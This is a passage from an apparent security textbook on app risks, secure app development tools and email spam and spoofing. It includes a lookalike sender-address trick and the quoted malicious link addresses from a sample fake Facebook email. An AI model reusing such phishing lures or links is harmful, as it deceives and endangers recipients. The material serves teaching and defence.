Apps Have Almost Unlimited Power
Operating systems give apps much power. When you install an app, the operating system may ask if you want to allow the app certain privileges in broad categories, such as ability to use the camera or access file storage. Those privileges are seldom fine-grained, such as, do you want to allow this app access to this particular file or even this kind of file (picture, text or executable code, for example)? Users have also been conditioned by pop-up screens asking the user to [Accept] the installation with default privileges.
An attacker might also enlist your help to install malware. People often use mobile apps as they carry out other activities during busy days. They choose an app for the result it can achieve: send a message, play a game, buy a book, or read the news. Apps are chosen because of their functionality, not necessarily their security and privacy.
Suppose you have a large number of email messages to handle, so you go to your inbox to open and scan them quickly. You might have set your email app to truncate the email header information displayed on a mobile device screen, requiring you to expand the Sent field in order to see the sender’s full details. As a result, you might not read all the way to the end of the address:
Click here to view code image
[email protected]
.malicious-site.co.de
The attacker depends on your not paying close attention, especially if the early part of the sender’s address seems appropriate to you. If you are focused on the email’s content and importance, you may not be careful about the authenticity of a message; as a consequence, you are more likely to click on a malicious link that downloads malware onto your mobile device. We discuss these sorts of “inattention attacks” in the next section.
Mobile app vendors are also guilty of a problem called permission creep. On installation, you may assign an app permissions more restrictive than the defaults; that is, you may go through several screens of settings to find values you want to restrict. But a new version or update can revert to the default settings, even though you rejected those values once. Users unknowingly accept responsibility to reset permission levels with each new version or update installed.
Apps Are Opaque and Uncontrollable
What does this app do? Yes, the description says it lets you sort pictures by several criteria, and when using it you know the functions you invoke. But what does it really do? Are there functions of which you are unaware? Chapter 3 introduced so-called Easter eggs, the unpublicized capabilities of a program. You cannot control what you do not know is there.
As an example of how opaque an app can be, consider the case of Sidebar 4-13 . You install an app to help you order coffee and a doughnut, and the app turns out to track you throughout the world.
Sidebar 4-13 There’s a Hole in My Doughnut
Tim Horton’s is a famous chain of over 3,500 coffee and doughnut shops in Canada and another 1,000 elsewhere in the world. Perhaps because of Timmie’s (as Canadians call the chain familiarly), Canadians eat more doughnuts per capita and have more places to buy them per capita than in any other country. Tim Horton’s has national icon status among Canadians.
According to the New York Times (11 June 2022), Tim Horton’s app tracks customers around the clock throughout the world. Between 2017 and 2020, 10 million customers downloaded the app for normal retail activities, such as placing orders, making payments, and tracking loyalty points.
Starting in 2019, the app used the phones’ GPS devices to track users’ locations. Users might appreciate such tracking if they could use it to find the closest place where they could satisfy their doughnut craving. The tracking continued, however, even if the app was installed but turned off. Indeed, the app collected and reported a customer’s location “every few minutes” anywhere in the world.
The office of the Privacy Commissioner of Canada found that the app tracked users to infer where a user lived and worked, when the user was traveling, and even whether the user was visiting a competitor’s shop. Tim Horton’s tracked app users without obtaining their consent and without announcing that it was doing such tracking.
The commissioner found the app violated all reasonable expectations of privacy (collecting and reporting data even when the app was off). The commission report added that Tim Horton’s did not adequately protect the data the app was harvesting. Tim Horton’s privacy statements were also deceptive.
The tracking was shut down in 2020 after a journalist published a story exposing the violation of privacy. The app is still available from both the Google and Apple app stores. The Google Play store lists the app as updated on 1 June 2022, but in the box marked “Developers can show information here about how their app collects and uses your data,” the app description reads “No information available.”
In short, apps are opaque. What they do, how they do it, whether they do it correctly, what else they do: All these are questions most users cannot answer.
Apps Work for Their Providers and Not Their Users
To users, the internet seems like a huge bazaar of free content available for the asking. To many internet companies, users are a source of income. Ask yourself why someone would write an app to present a weather forecast, report stock prices, rate restaurants, give directions, or arrange dates. You. These companies want to collect any information they can about you so they can sell it. An app can leak any information you allow it to obtain. And many of us freely give apps plenty to pass along.
Apps may leak information in the sense that they share or export information that is not necessary to perform the requested task. For example, a free exercise app may pass on personal information to third parties in order to generate revenue for the app developer.
Consider why data leakage could be a problem. The third party might sell a collection of names and addresses of fitness enthusiasts to equipment vendors, to insurance brokers interested in selling policies to low-risk individuals, or to dating sites seeking to attract muscled patrons. Most important, leaking data is not consistent with the implicit contract between user and app: One app might be described as a tool to help a user track exercise data, and the user reasonably expects that the app will do nothing more. This situation is another example of unanticipated behavior like the case of the Tim Horton’s restaurants of Sidebar 4-13 .
Such examples of malicious code are called spyware : They spy on your activity, transferring data without your permission or even knowledge. Spyware is a significant threat to privacy.
You might say spying doesn’t matter to you; you don’t do anything you wouldn’t want others to know. Consider these examples of data that an app might leak from your web activity:
-
A friend has a sexually transmitted disease, and you volunteer to investigate symptoms and treatment options.
-
You hear a political group’s name and want to find out what the group is, only to find out that the group is so radical you would never think of affiliating with it.
-
You want to know about a new restaurant and, when searching for it, open a page describing an illegal group that once ran its operation from that same address.
-
You mistype a web address and stumble onto an embarrassing website.
In all of these cases, you have done nothing wrong. But someone watching your browsing results or history could put together a compelling argument to the contrary.
Two questions you should ask are these: “What if someone found out something about me?” and “What if someone drew a wrong conclusion?” As one example, researchers developed a technique to infer a user’s gender from the user’s search queries [ DU18 ]. Although the researchers used only two gender categories—male and female—the study’s results offer one starting point for our analysis. The researchers claim 84.56% accuracy in their male–female gender prediction, therefore admitting approximately 15% error. 2 Thus, if the researchers sold the results of their male–female gender inferences to advertisers, 15 percent of the advertisements would likely be incorrectly tailored.
- This error rate reflects only inference of binary male/female gender categories. Inferring gender becomes even more challenging and error-prone when we include additional gender categories, such as nonbinary and transgender.
Does it really matter if some people receive the wrong adverts because their gender and consequently their clothing or cosmetics preferences have been incorrectly inferred? Oftentimes not. But drawing other wrong conclusions may prevent someone from qualifying for a mortgage or receiving a fellowship. Gender is widely known as a possible prejudice factor, and so as a society we try to avoid letting it influence major decisions.
The research reported by Du and colleagues [ DU18 ] looks at several attributes, such as income and education level, for which the number of possible values is larger. With more categories, the precision of inferences falls. Income level or ability to pay, medical condition, intelligence, even predisposition to criminal behavior might be incorrectly inferred from search queries. These factors could be used in hiring decisions, police tracking, or immigration priority, for example, cases in which a wrong conclusion could have major effects. Thus, data about you—correct or incorrect—should not be casually leaked, collected, or analyzed. Who might want to spy on you? A stalker or voyeur, a member of your household (such as an abusive spouse or prying relative), a connection in a social network, or someone at your employment. The covertly sent information might, for example, be your location, a copy of messages sent via the app, results produced by the app, or authentication credentials used to access the app. We cover spyware as an attack on privacy in more detail in Chapter 9 .
As you look at apps, keep in mind that in many cases, learning more about you is the app vendor’s motivation.
Users Prefer Flashy over Secure
As we note earlier, people often choose functionality over security. Offer a feature-rich app over a mundane, secure version, and features usually win. Except for certain domains and user populations (such as financial and military), security is never a selling advantage.
Instead of looking at what can go wrong with an app, we turn now to two sections of advice. First, for users, we describe several ways to find secure apps to meet their needs. Second, for app developers, we discuss how to write secure apps.
Finding Secure Apps
The most obvious way to protect yourself is to use only what we might call “good” apps. But finding the good ones is not easy, even if we could somehow categorize the good ones. In this section, we consider how to choose among apps to pick those that are secure enough while performing what we need them to do.
Reputation
Buying a car is difficult. Almost all brands do the same thing: get you from A to B. But buying a good car is different. You want one that gets you from A to B safely and comfortably, with accessories that add to the enjoyment. As a first cut at narrowing down your choices, you may look for a car with a good reputation. You might make a list of known brands, ask friends about their experiences with them, read reviews and evaluations of brands and models, or simply find out what models are popular. Eventually, you will narrow your search to particular types or sizes, probably within an acceptable price range. After identifying a few candidates, you may then test-drive some cars. In the end, you will make the best choice you can from the information you have gathered.
But choosing apps is different, for several reasons:
-
There are lots of apps for a given purpose. Even when the app’s task is narrow, such as printing from your mobile phone on a particular brand of printer, there are likely to be several unofficial apps available in addition to an app offered by the printer’s manufacturer.
-
Independent ratings are often hard to come by. Some supposedly independent rating sites charge app developers to be rated. Others allow anyone to post ratings, including the developer’s friends and family or paid raters (not to mention automated processes). Rating sites seldom explain their criteria (for raters and for how to do ratings) or potential biases.
-
Two apps may not be easily compared, even if they do the same thing. If you are interested in an app to perform function X, you may find that app A does X, Y, and Z, while app B does Q, R, S, and X. So the reviews and ratings for each app are likely to address all of the functionality, not just the function that interests you.
-
Reputation matters. But many apps come from unknown sources with no recognizable brand or history.
-
Competition makes everyone better. When one automobile begins to dominate the market, other brands try to find ways to be better: roomier, better fuel economy, more attractive price, or added features. If no app has a large portion of the market, differentiation becomes a free-for-all.
-
If there is only one product to perform your desired function, you either take it or leave it, regardless of quality. This case often applies with apps supplied by a company, such as an app to read your local newspaper or buy merchandise from a particular brand of store.
Thus, it is not easy to find reliable data on an app’s quality.
App Stores
How many apps are there? Statista estimated that in 2020 there were 3.04 million apps in the Google Play store and 2.09 million in the Apple app store (not counting gaming apps). Many apps are available from still other sources, such as open source repositories F-Droid and GitHub. RiskIQ estimates that there may be 8.9 million apps worldwide. Statista predicts that 180 billion app downloads will occur in 2024 alone.
Those numbers raise the question of source. Does every app come from a reputable source? From a security-conscious developer? From a place that will maintain the app in the event vulnerabilities are found? From a developer who will still be in business tomorrow?
Many apps come from relatively unknown and uncontrolled sources. We cannot expect all apps to incorporate good security properties, even though some are probably stellar. Lack of reliable data concerning how the apps were developed is itself a vulnerability. Without such data, users have difficulty judging apps objectively.
As described in Wired [ BAR19 ], in 2019 security analyst Michael Covington of consulting firm Wandera noticed that a client’s iPhone made a connection to an unexpected website; Covington traced the activity to a speedometer app. He then examined dozens of apps from the same origin. Analysis of the visible code revealed nothing, nor did monitoring the running apps for unusual outbound connections. Only when Covington used a cellular data connection instead of WiFi and let the apps run for several days did anomalies appear. The apps were generating pseudo-clicks to an adware server, probably to increase advertising revenue for certain ads. In all, 17 apps, all properly downloaded from the Apple app store, exhibited this improper behavior. After being notified, Apple promptly removed the apps.
These apps caused little harm to the user, but that is not the point. They broke the cardinal rule of doing everything they are supposed to do—and nothing more. And of course they could have done far more serious things. It took several days of monitoring to detect the illicit activity, making it seem as though their developer took steps to reduce the likelihood of the apps’ malice being easily detected. We stress that this discovery was almost accidental; an analyst noticed an unexpected connection to a website. There is almost no way to know whether other apps do something beyond what they are supposed to.
Users assume that apps in app stores have been screened to eliminate malicious ones. Although app store administrators do inspect apps to some degree, they do not inspect as closely as Covington did. Given the number of apps, app stores do not have resources to perform that degree of screening. Consequently, users need to recognize that simply appearing in an app store does not preclude malicious app behavior.
The converse is not necessarily true, either. Many fine apps are distributed outside of the popular app stores. Because some stores charge a commission of up to 15% for app downloads, developers may prefer other points of distribution. Some developers believe open source development leads to higher-quality software. So “good” apps can be found in all sorts of places. We cannot always infer something about an app from the platforms on which it is distributed.
So, if neither reputation nor appearance in an app store is a solid way to separate good apps from the others, you need to do the best you can with what data you can find. You can also practice good security after installing an app, as we describe next.
Protecting Yourself After Installing an App
How can you protect yourself against the numerous vulnerabilities just listed? Unfortunately, as you will see, the list of countermeasures is short and not strong; there is no foolproof way to protect against the kinds of harm we have described. We do not say “never use apps,” but we do say “use apps with skepticism and caution.”
Maintain Updates
As with all code, you should update your apps regularly. App developers produce updates to enhance functionality and to repair security problems. At the same time, you need to maintain your device’s security by keeping the operating system up to date, and to patch security vulnerabilities as soon as you are notified that a patch is available.
Don’t Break Out of Jail
Mobile device vendors want to keep their customers loyal to their brand. They make it hard for customers to install apps from other sources and especially inconvenient to switch to a different vendor when it is time to replace a device. To restrict your choice of apps, vendors install code in the operating system allowing apps only from the vendor’s app store. Users who want a wider range of choices for apps jailbreak their device, meaning they execute code that removes the operating system’s limit on the source of apps. (On some devices, such as Android mobile phones, you can change settings so that the device asks you if you want to make an exception to install a “foreign” app.)
Jailbreaking by allowing any foreign code sounds like a good thing because it gives you freedom of choice. In fact, the risks outweigh the reward. Once you have jailbroken a device to allow non-app-store code, not only can you install any apps, but so too can attackers. Installing an app from a source other than the vendor’s app store is called sideloading . It can sometimes be done with caution, as when a reputable vendor (such as DuckDuckGo or ProtonMail) posts its open source code to a repository only after it has been fully tested.
But vetting each app is not enough. You also have to worry about interactions among apps. As you already know, interplay among programs is complicated. And those are not the only interactions of concern: Apps interact with other code, basic device functions, and the operating system through carefully defined APIs. Although not perfect, a vendor tries to ensure that apps in its store adhere to the restrictions of the API and maintain compatibility with other apps; apps from other sources are less likely to integrate successfully with other existing code.
Jailbreaking can also allow use of features in the device to which the vendor has intentionally denied access. These features include network technologies (such as 5G cellular service or different carrier frequency bands) that may be useful to people who travel to other countries. However, the vendor may have blocked these features for a reason: Perhaps they interfere with local carrier service, or the vendor intends to support them in the future once other pieces of code are updated. Using unsupported features risks device instability.
Exercise User Due Diligence
To reduce the likelihood of downloading an app that shares information in unexpected ways, you should research apps before downloading them. This information may help you decide whether the app is offered by a recognized app developer, whether its purpose meets your needs, and what data the app is likely to generate, store, and share. As we have said previously, reliable, independent evaluation of apps is hard to find; nevertheless, it is worth the trouble to find what you can.
Your research should not stop at downloading the app. You must also read the app’s terms and conditions because the fine print may state intentions for using the data generated by and through the app. Recognize, however, that such intentions are not binding on the developers. As we discuss in Chapter 11 , software firms have significant latitude, especially when they use terms such as “intend.” (“We intend not to sell your data” shows a position the developer can change as soon as it is written.) And if the development company or the product line is bought by another company, all terms and conditions can change. (“We will never sell your data” is enforceable only on the original “we.”)
Another problem with terms and conditions is that pitting a single user against a large corporation is like a fly trying to counter an elephant. Although it is always possible for a software user to sue the developers, that is an expensive and uncertain route.
Limit Permissions
When you install or configure an app, it might request permission to access the data generated and stored by other apps. For example, a messaging app might request access to your contacts or your photo store. An app might also request your location, enabling further monitoring and creating the possibility that your location data might be passed to other apps. Ask yourself why the app needs these permissions. Grant permission with care, and make sure you are comfortable with the access that is being requested. You can refuse the request. Indeed, if you are concerned about the access request, you might look for another app providing the same functionality that does not require such access.
Once you no longer need an app, you should uninstall and delete it. Apps provide an access point not only to your devices but also to all the data you keep on those devices. Deleting apps you do not use will reduce the number of access points to your device. Moreover, apps also often run in the background; even if you do not regularly use an app, it is possible that it is still running, taking up space, gathering data, and draining your battery. Many devices have a utility that shows you which apps consume what levels of data, space, and power. You should check that utility regularly and take action if an app is using more or different resources than you expect it to.
In this section we have given some suggestions for how to maintain security of apps. Now we will look at the developer’s side of the issue: How can developers ensure security in the code they write?
Developing Secure Apps
How can we encourage developers to write more trustworthy apps?
Developer Qualifications
High salaries encourage people to choose app development as a career. Brain surgeons are also highly paid, but medical schools do not see outsized demand for their graduates. Furthermore, becoming a brain surgeon requires years of training, practice, and supervised work. Governments and professional societies establish criteria and credentials to identify those who have progressed to high competence.
App developers face no such rigor and scrutiny. Some developers take a few classes but then leave formal education for lucrative employment. Other developers learn only a programming language online or from a book and then declare themselves to be professionals. (To be fair, some developers complete a demanding university degree program and receive a well-earned credential. Other developers learn their craft from a formal, structured on-the-job training program in a company.) But as a consumer, you seldom know which kind of developer wrote your app.
There is no regulatory board to endorse qualified developers. Rather, there are many bodies, some operating for profit, that award a certification based on study and a test, or just a test, or a term of employment. These credentials are incomparable; none is recognized as a gold standard or pinnacle. Consequently, users cannot readily assess the qualifications of an app developer as an indicator of an app’s quality.
An app’s developer is thus a name on a website; perhaps there will be a (usually self-written) one-paragraph biography describing the developer’s background. Worse, the app may come from a new or unknown company. Not only can the user not judge the qualifications of the developer, but the site does not even reveal the developers’ names (and hence their backgrounds or capabilities).
One test of app trustworthiness is whether an app was developed in a regulated environment that uses an application development process that includes both security by design and security testing. (We address security in the code development process in Chapter 3 .) A security mindset provides some protection because it reduces the likelihood that the app will have been compromised and modified with malicious code.
Automated Development Controls
DevOps and agile methods are widely used, currently popular code development techniques. DevOps is a set of practices that unites development (Dev) and operation (Ops), attempting to bring code into use rapidly but with control. Use of agile methods seeks to bring about code that can adapt rapidly to changing user needs. Both focus on speed to get code in use quickly, in part by minimizing the so-called overhead of management, detailed design, and documentation. However, most security assurance techniques require methodical and thoughtful consideration of vulnerabilities and countermeasures. Thus, some people worry that speed will shortchange security during development.
Key to security in both DevOps and agile is a security mindset. As we lay out in this book, many programmers love the challenge of making something work; many attackers love the challenge of making something fail. People throughout the development process must always keep that attacker in mind and identify the many ways in which a piece of software can fail, not just a single way in which the design and implementation can work. Security, or failures thereof, is paramount in the attacker’s mind; security should also be paramount to the developer.
Underlying both DevOps and agile methods is heavy use of automation, putting a variety of development and testing aids at the hands of the development team. Workflow management, configuration management, testing, and continuous maintenance are areas in which technology can support security. Tracking details on behalf of the developers and implementing routine tasks are good uses of automation.
The National Institute of Standards and Technology (NIST) produces standards and guidance documents. Its publication, “Security and Privacy Controls for Information Systems and Organizations, NIST SP 800-53 Revision 5,” [ NIS20 ] was released in 2020. This document of almost 500 pages catalogs most available computer security controls.
Two important controls added in revision 5 are configuration review tools and run-time application self-protection. These resources require developers to embed support for independent testing tools to be used during development or when an application is running. As [ NIS20 ] states, development practices “require the developer of the system, system component, or system service to employ interactive application security testing tools to identify flaws and document the results.” In other words, developers are expected to embed sensors in code to permit vulnerability analysis tools to detect a variety of things good or bad for security. These sensors then provide hooks by which code analyzers can detect vulnerable conditions, both in nonexecuting and in running code.
Code Analysis Tools
Static source code analyzers or static application security testing tools (SAST) are sometimes called white-box or clear-box testing tools because they inspect inside the application, reviewing its source or compiled code. They can be run on source code to check for programming errors like those we describe in Chapter 3 , such as numerical errors, failure to validate input, race conditions, path traversals, erroneous pointers and references, and more. Binary and byte-code analyzers apply similar analysis to compiled executable code. Some tools run on source code only, some on compiled code only, and some on both.
Dynamic source code analyzers or dynamic application security testing tools (DAST) are sometimes called black-box testing tools because they do not examine the internals of an application but look only at its activity. Such tools detect conditions that indicate a security vulnerability in a running application. DAST tools highlight issues with interfaces, data requests and responses, scripting (i.e., JavaScript), data injection, sessions, authentication, and more. Some of these tools are web scanners, like those we discuss in Chapter 6 .
Interactive Application Security Testing Tools
Interactive application security testing (IAST) tools combine static and dynamic tools. They are intended for use in a development testbed, so they can analyze code as it is being written and then as it is compiled and run. In [ NIS20 ], NIST calls for security instrumentation as an assurance technique. IAST tools examine an app both as a static software object and as a running program. The examination is facilitated by hooks inserted in the app during its development.
Runtime Application Self-Protection
One more step is needed to make the app partially responsible for its own protection. With run-time application self-protection (RASP) , security and development teams add a RASP agent to production applications. RASP then continuously monitors application inputs to detect and prevent both known and unknown (zero-day) threats at the point of the vulnerability. When a threat is detected, RASP prevents exploitation and takes appropriate actions, such as warning the user, terminating the session, terminating the application, or alerting a security manager.
Summary
Apps present many of the same vulnerabilities and countermeasures as other programs we explore in Chapter 3 . Apps can be purchased or downloaded from many sources, and they span the full range of security qualities, from insecure to well protected. Users must exercise caution when choosing and installing apps, ensuring that new versions of apps are installed, updates are applied right away, and apps and devices are monitored for suspicious behavior.
Even so, apps are vectors for potential security harm that is difficult to counter. As apps proliferate, we can expect their security impact to grow.
4.5 Email and Message Attacks
So far we have studied attacks that involve users interacting with remote servers through browsers or apps. In this section we consider email and messages, a different mode of interaction that carries its own potential vulnerabilities. We focus primarily on email in our examples, but the problems and controls are similar for other types of messages, such as text messages.
In 2021, over 300 billion email messages were sent each day among the almost 5 billion internet users. With large numbers like that, criminals and other malicious actors are tempted to carry out attacks they think will not be noticed.
Fake Email
Given the huge amount of email sent and received daily, it is not surprising that much of it is not legitimate. Some frauds are easy to spot, as the example in Figure 4-17 shows. A recent email message advised one of us that a Facebook account had been deactivated. You have probably gotten—and deleted—such inaccurate messages yourself. In the figure, we show where some of the email’s links and buttons actually lead, instead of the addresses shown; the underlying addresses certainly do not look like places Facebook would host code.
FIGURE 4-17 Fake Email
The title bar reads, you have deactivated your Facebook account - Inbox - Local folders - Mozilla Thunderbird. The details on the page are as follows. From: Facebook. Subject: You have deactivated your Facebook account. To: You. The message reads as follows. Hi, you have deactivated your Facebook account. You can reactivate your account at any time by logging into Facebook using your old login email and password. You will be able to use the site like you used to. Thanks, Facebook team. To reactivate, follow the link below. A callout corresponding to this link reads, h t t p colon slash slash arauco - v. s 151. Neccesitohotel.com/victorious. H t m l. There is a sign in button at the top right corner of the page. A callout corresponding to this button reads, h t t p colon slash slash armix software dot chat dot r u slash sinker dot h t m l. Another callout corresponding to the message at the bottom of the page reads, h t t p colon slash slash films dot tushino dot com slash quezon dot h t m l.
This forgery was relatively well done: the images were clear, and the language was correct. Sometimes forgeries of this sort have serious spelling and syntax errors, although the quality of unauthentic emails has improved significantly. Attackers using fake email know most people will spot the forgery. On the other hand, it costs next to nothing to send 100,000 messages, so even if the attacker’s success rate is only 0.1%, 100 potential victims may not spot the warning signs and will be harmed.
Fake Email Messages as Spam
Probably everyone is familiar with spam , the fictitious or misleading email that offers low-cost designer watches, anatomical enhancers, or hot stocks, as well as get-rich schemes involving money in overseas bank accounts. Similar false messages try to entice people to download a browser enhancement or even just click for more detail. Spammers often use realistic topics for false messages to lure recipients to follow a malicious link. Google’s email service for commercial customers, Postini, has reported [ GOO10 ] that the following types of spam are rising:
-
fake “nondelivery” messages (“Your message x could not be delivered”)
-
false social networking messages, especially attempts to obtain login details
-
current events messages (“Want more details on [sporting event, political race, crisis]?”)
-
shipping notices (“ x company was unable to deliver a package to your address—shown in this link”)
Original email used only plain text, so the attacker had to persuade the user to go to a website or take some action in response to the email. Now, however, email messages can use HTML-structured content, so they can have links embedded as “click here” buttons.
Volume of Spam
The volume of spam is difficult to estimate accurately. Cisco’s Talos Intelligence Group estimates that during 2021, spam constituted 84% of all email; other estimates place the rate at 71% and 45%. Regardless, because the number of email messages sent per day (including spam) is approximately 300 billion, even the smallest percentage implies an enormous volume of spam. Fortunately, email servers filter out the bulk of spam from the email stream before it ever reaches a user, so your inbox probably never receives an amount even close to these percentages.
According to Symantec’s analysis, 69.7% of spam messages had a sexual or dating content, 17.7% pharmaceuticals, and 6.2% jobs. Sidebar 4-14 describes a combined legal and technical approach to eliminating spam.
Sidebar 4-14 Cutting Off Spammer Waledac/Storm
Countering spam is a multinational responsibility. Spam senders transmit their email from endpoints throughout the world, so many countries must cooperate in order to prosecute or shut down a spam operator. Police in 20 separate countries arrested 1,003 suspects as part of a sweeping crackdown on digital financial crime from June to September 2021, according to Interpol. There have been many similar legal actions over the years.
In one case, on 24 February 2010, Microsoft obtained a court order to cause top-level domain manager VeriSign to cease routing 277 .com domains, all belonging to Waledac, formerly known as Storm. At the same time, Microsoft disrupted Waledac’s ability to communicate with its network of 60,000 to 80,000 nodes that disseminated spam.
In 2009, researchers from Microsoft, the University of Mannheim in Germany, and the Technical University of Vienna had infiltrated the Waledac command and control network. Later, when the .com domains were shut down, the researchers used their position in the network to redirect command and update queries to harmless sites, thereby rendering the network nodes inoperable. Within hours of taking the offensive action, the researchers believed they had cut out 90% of the network. When operational, the Waledac network was estimated to be able to generate and send 1.5 billion spam messages per day . This combined legal and technical counteroffensive was effective because it eliminated direct access through the blocked domain names and indirect access through the disabled command and control network.
Spammers frequently use many nodes to send spam, so email handlers cannot build a short list of spam senders to block. These large numbers of nodes periodically “call home” to a command and control network to obtain next instructions of spam to send or other work to perform.
Why Send Spam?
Spam is an annoyance to its recipients, it is usually easy to spot, and sending it takes time and effort. Why bother? The answer, as with many things, is because there is money to be made.
Spammers make enough money to make the work worthwhile.
We have already presented the statistics on volume of spam. There must be a profit for there to be that much spam in circulation.
Advertising
Some people claim there is no bad publicity. Even negative news about a company brings the company and its name to peoples’ attention. Thus, spam advertising a product or firm still fixes a name in recipients’ minds. Small, new companies need to get their names out; they can associate quality with that name later.
Thus, spam advertisements serve a purpose. Months after having received the spam you will have forgotten where you heard the company’s name. But having encountered it in an email message will make it familiar enough to reinforce the name recognition when you hear the name again later in a positive context.
A large proportion of spam offers are for pharmaceuticals. Why are these so popular? First, some of the drugs are for adult products that some patients would be embarrassed to request from their doctors. Second, the ads offer drugs at prices well under local retail prices. Third, the ads offer prescription drugs that would ordinarily require a visit with a doctor, which costs money and takes time. For all these reasons, people realize they are trading outside the normal, legal, commercial pharmaceutical market, so they do not expect to find ads in the daily newspaper or on the public billboards. Thus, email messages, not necessarily recognized as spam, are acceptable sources of ads for such products.
Pump and Dump
Financial topics are particularly popular, usually pushing companies of which you have never heard—with good reason. Stock prices of large companies, like IBM, Volkswagen, Nike, and Air France, move slowly because many shares are outstanding and many traders are willing to buy or sell at a price slightly above or below the current price. News, or even rumors, affecting one of these issues may raise or depress the price, but the price tends to stabilize when the news has been digested or the rumor has been confirmed or refuted. It is difficult to move the price by any significant amount.
Stocks of small issuers are often called “penny stocks” because their prices are denominated in pennies, not in dollars, euros, or pounds. Penny stocks are quite volatile. Because volume is low, strong demand can cause a large percentage increase in the price. A negative rumor can likewise cause a major drop in the price.
The classic scam is called pump and dump: A trader pumps—artificially inflates—the stock price by spreading rumors that cause a surge in activity. The trader then dumps the stock when its price is high enough. The trader makes money as it goes up; the spam recipients lose money when the trader dumps holdings at the inflated prices, prices fall, and the buyers cannot find other willing buyers. Spam lets the trader pump up the stock price to thousands of people at the same time. (Don’t be tempted: such market manipulation is fraud, which is illegal, and can lead to heavy fines and prison sentences.)
Cryptocurrencies (described in Chapter 13 ) are another, similarly popular spam topic. Because these currencies are highly speculative, largely unregulated, and potentially very lucrative, they attract both legitimate and fraudulent marketeers.
Malicious Payload
In Chapter 6 we describe botnets: armies of compromised computers that can be commandeered to participate in any of a number of kinds of attacks: causing denial of service, sending spam, increasing advertising counts, even solving cryptographic puzzles. The compromised computers offer some unused computing cycles that can be rented for malicious purpose.
How are these computers conscripted? Some are enlisted by malware toolkit probes, as we describe in Chapter 3 . Others are signed up when users click a link in an email message. As you have seen in other examples in this chapter, most users do not know what a computer really does. A link offers you a free prize, you click on a corresponding link, and you have actually just signed your computer up to be a controlled agent (and incidentally, you did not win the prize). Spam email with misleading links is an important vector for enlisting computers as bots.
Links to Malicious Websites
Similarly, shady, often pornographic, websites want ways to locate and attract customers. And people who want to disseminate malicious code seek victims. Some sites push their content on users, but many want to draw users to the site. Even if it is spam, an email message makes a good way to offer such a site to potentially interested parties.
The Price is Right
Finally, the price—virtually free—makes spam attractive to advertisers. A spam sender has to rent a list of target addresses, pay to compose and send messages, and cover the service provider’s fees. These terms are all small, and the cost of spam is low. How else would spammers stay in business?
Spam is part of a separate, unregulated economy for activities that range from questionable to illegal. Its perpetrators can move from one political jurisdiction to another to stay ahead of legal challenges. And because it is an off-the-books enterprise without a home, it may be able to avoid taxes and investigation, making it a natural bedfellow with other shady dealings. Spam is lucrative enough to remain alive and support its perpetrators comfortably.
What to Do About Spam?
As a prime generator of internet email activity, spam consumes a significant share of resources. Without spam, ISPs and telecommunications backbone companies could save significantly on expanding capacity. What options are there for eliminating, reducing, or regulating spam?
Legal
Numerous countries and other jurisdictions have tried to make the sending of massive amounts of unwanted email illegal. Two early laws restricting the sending of spam are the CAN-SPAM Act of 2003 (U.S.) and Directive 2002/58/EC (European Parliament); most industrialized countries have similar legislation. The problems with all these efforts are jurisdiction, scope, and redress.
Spam is not yet annoying, harmful, or expensive enough to motivate international action to stop it.
A country is limited in what it can require of people outside its borders. Sending unsolicited email from one person in a country to another in the same country easily fits the model of activity a law can regulate: Search warrants, assets, subpoenas, and trials all are within the prosecutors’ jurisdiction. But when the sender is in a different country, these legal tools are harder to apply, if they can be applied at all. Because most spam is multinational in nature—originating in one country, sent through telecommunications of another, to a destination in a third, and perhaps containing a link to a website on a server in a fourth—sorting out who has legal authority to act is complicated and time consuming, especially if not all the countries involved want to cooperate fully.
Defining the scope of prohibited activity is tricky because countries want to support internet commerce, especially within their own borders. Almost immediately after it was signed, detractors dubbed the U.S. CAN-SPAM Act the “You Can Spam” act because it does not require emailers to obtain permission from the intended recipient before sending email messages. The act requires emailers to provide an opt-out procedure, but marginally legal or illegal senders will not care about violating that provision.
Redress for an offshore agent requires international cooperation, which is both time consuming and political. Extraditing suspects and seizing assets are not routine activities, so they tend to be reserved for major, highly visible crimes.
Thus, although passing laws against spam is easy, writing and implementing effective laws is far more difficult. As we describe in Chapter 11 , laws are an important and necessary part of maintaining a peaceful and fair civil society. Good laws inform citizens of honest and proper actions. But laws are not always effective deterrents against determined and dedicated actors.
Source Addresses
The internet runs on a sort of honor system in which everyone is expected to play by the rules. As we note earlier, source addresses in email can easily be forged. Legitimate senders want valid source addresses so they can send replies; illegitimate senders get their responses from web links, so the return address is of no importance. Accurate return addresses only provide a way to track the sender, which illegitimate senders do not want.
Email sender addresses are not reliable.
Still, internet protocols could enforce accurate return addresses. Each recipient in the chain of email forwarding could ensure that the address of the sender matches the system from which the email is being transmitted. Such a change would require both a rewriting of the email protocols and a major overhaul of all email carriers on the internet—unlikely unless there is another compelling reason beyond security.
Screeners
Among the first countermeasures developed against spam were screeners: tools to automatically identify and quarantine or delete spam. Spammers follow closely what gets caught by screeners and what slips through, and then revise the form and content of spam email accordingly.
Screeners are highly effective against amateur spam senders, but sophisticated mailers can pass through them.
Volume Limitations
One proposed option is to limit the volume of a single sender or a single email system. Most of us send individual email messages to one or a few parties; occasionally we may send to a mass mailing list. Limiting our sending volume would not be a serious hardship. The volume could be per hour, day, or any other convenient unit. Set high enough, the limits would never affect individuals.
But this approach is unfair to legitimate mass marketers, who send thousands of messages on behalf of hundreds of clients. Rate limitations have to allow and even promote commerce while curtailing spam; balancing those two needs is the hard part.
Postage
Certain private and public postal services were developed in city–states as much as 2,000 years ago, but the modern public postal service of industrialized countries is a product of the 1700s. Originally the recipient, not the sender, paid the postage for a letter, which predictably led to letter inundation attacks. The model changed in the early 1800s, making the sender responsible for prepaying the cost of delivery.
Pfleeger and Bloom [ PFL05 ] show that a similar model could be used with email. A small fee could be charged for each email message sent, payable through the sender’s ISP. ISPs could allow some free messages per customer, set at a number high enough that few if any individual customers would be subject to payment. The difficulty again would be legitimate mass mailers, but the cost of e-postage would simply be a recognized cost of business.
As you can see, the list of countermeasures is short and imperfect. The true challenge is placating and supporting legitimate mass emailers while still curtailing the activities of spammers.
Fake (Inaccurate) Email Header Data
As we just described, one reason email attacks succeed is that the headers on email are easy to spoof, and thus recipients believe the email has come from a safe source. Here we consider precisely how the spoofing occurs and what could be done.
Control of email headers is up to the sending mail agent. The header format is standardized, but within the internet email network, as a message is forwarded to its destination, each receiving node trusts the sending node to deliver accurate content. A malicious, or even faulty, email transfer agent may send messages with inaccurate headers, specifically in the “from” fields.
